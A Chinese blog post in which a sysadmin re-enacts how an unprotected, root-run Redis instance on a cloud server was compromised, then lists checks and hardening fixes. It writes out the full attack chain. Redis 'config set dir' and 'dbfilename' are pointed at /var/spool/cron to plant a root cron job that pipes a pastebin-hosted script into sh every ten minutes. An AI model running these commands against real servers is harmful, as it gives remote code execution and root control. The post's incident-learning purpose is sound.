由于近期阿里云服务器报警redis漏洞,经过调查对黑客的入侵过程进行了整理并模拟一遍,庆幸此次黑客行为未对公司造成影响,同时还让我学习了很多知识,这里分享给大家。
1,被入侵的前提条件
- redis没有设置密码 。
- redis配置文件没有打开保护模式,并且没有bindIP地址 。
- 安全组设置打开了redis的6379端口。
- 以root用户启动redis。
有人可能会问,怎么可能这么傻,连个密码都不设置。现实情况的确如此,redis是同事设置,安全组我在管理,测试阶段打开了这个端口。两人分工不同,就出现了这个漏洞。相信漏洞的产生都是类似的。
2, 入侵前准备
满足以上前提后,意味着黑客通过扫描端口工具锁定你的ip,这时可以远程连接你的redis数据库。
2.1 生成测试脚本
登录https://pastebin.com网站
生成如下测试脚本,并获取raw地址 https://pastebin.com/raw/hx4d4iPS
echo "hello test" >> /root/hello.outtest
2.2 脚本如何执行
在服务器上直接通过下面命令即可执行上面的脚本
curl -fsSL https://pastebin.com/raw/hx4d4iPS | sh
我技术很弱,是入侵我们服务器的黑客采用了这个网站。这里需要谢谢黑客,教会我新的知识。
这种方式意味着你有在服务器通过简单命令执行复杂脚本的能力。
3 远程连接redis,并执行脚本
3.1 修改redis配置
设置dir到定时任务目录
config set dir "/var/spool/cron"
设置持久化文件名为root
config set dbfilename root
以上两条命令意味着,以后redis所有数据都会保存在/var/spool/cron/root文件中。而这个文件就是root用户的定时任务配置文件。系统会执行该文件定义的定时任务。
step1:清空数据表
127.0.0.1:6379> flushall
OK
step2:添加一条数据。注意\n表示换行符。
127.0.0.1:6379> set test "\n*/10 * * * * curl -fsSL https://pastebin.com/raw/7dFmaK9n | sh\n"
OK
step3:保存数据
127.0.0.1:6379> save
3.2查看生成的定时任务脚本
在var/var/spool/cron目录下产生了root文件。
该文件代表了root用户的定时任务文件,系统会按照指定周期执行该文件的内容。
打开该文件,发现前面\n的效果就是 set的name和value分行存放。
通过crontab -l命令查看定时任务中已经存在该定时任务。其他乱码可以忽略,我猜想定时任务是按行读取的。
其他不符合语法的行都会执行错误。但是正确的行是可以被执行的。
3.3 查看定时任务是否生效
tail -f vim /var/log/cron
查看定时任务日志,可以看到上述命令已经被执行。
/root目录下生成了hello.outtest文件,并且文件内容被定时更新
以上,就实现了在不登录数据库的情况下写入定时任务的功能。这个漏洞意味着黑客可以在你的服务器为所欲为,具备所有的权限和能力。
4 如何修复该漏洞
4.1 分析可能造成的影响
对方获取redis之后意味着他可以修改你系统的任何一个文件,并往里写入内容。
1,查看定时任务的/etc/crontab 和var/var/spool/cron等文件是否有异常的内容写入
2,查看用户登录秘钥是否有异常写入。(对方可以免密登录你的系统)
3,查看系统登录日志,查看是否有异常登录
4,其他你发现有可能影响的文件
4.2 修复漏洞
1,关闭安全组redis的端口,或者给予最小访问规则
2,修改redis配置文件
参考阿里云的要求,配置完就可以很大程度避免该漏洞的影响。
https://help.aliyun.com/knowledge_detail/37447.html
参考
https://www.idc889.com/detail-1373.html
https://www.cnblogs.com/Dleo/p/6078948.html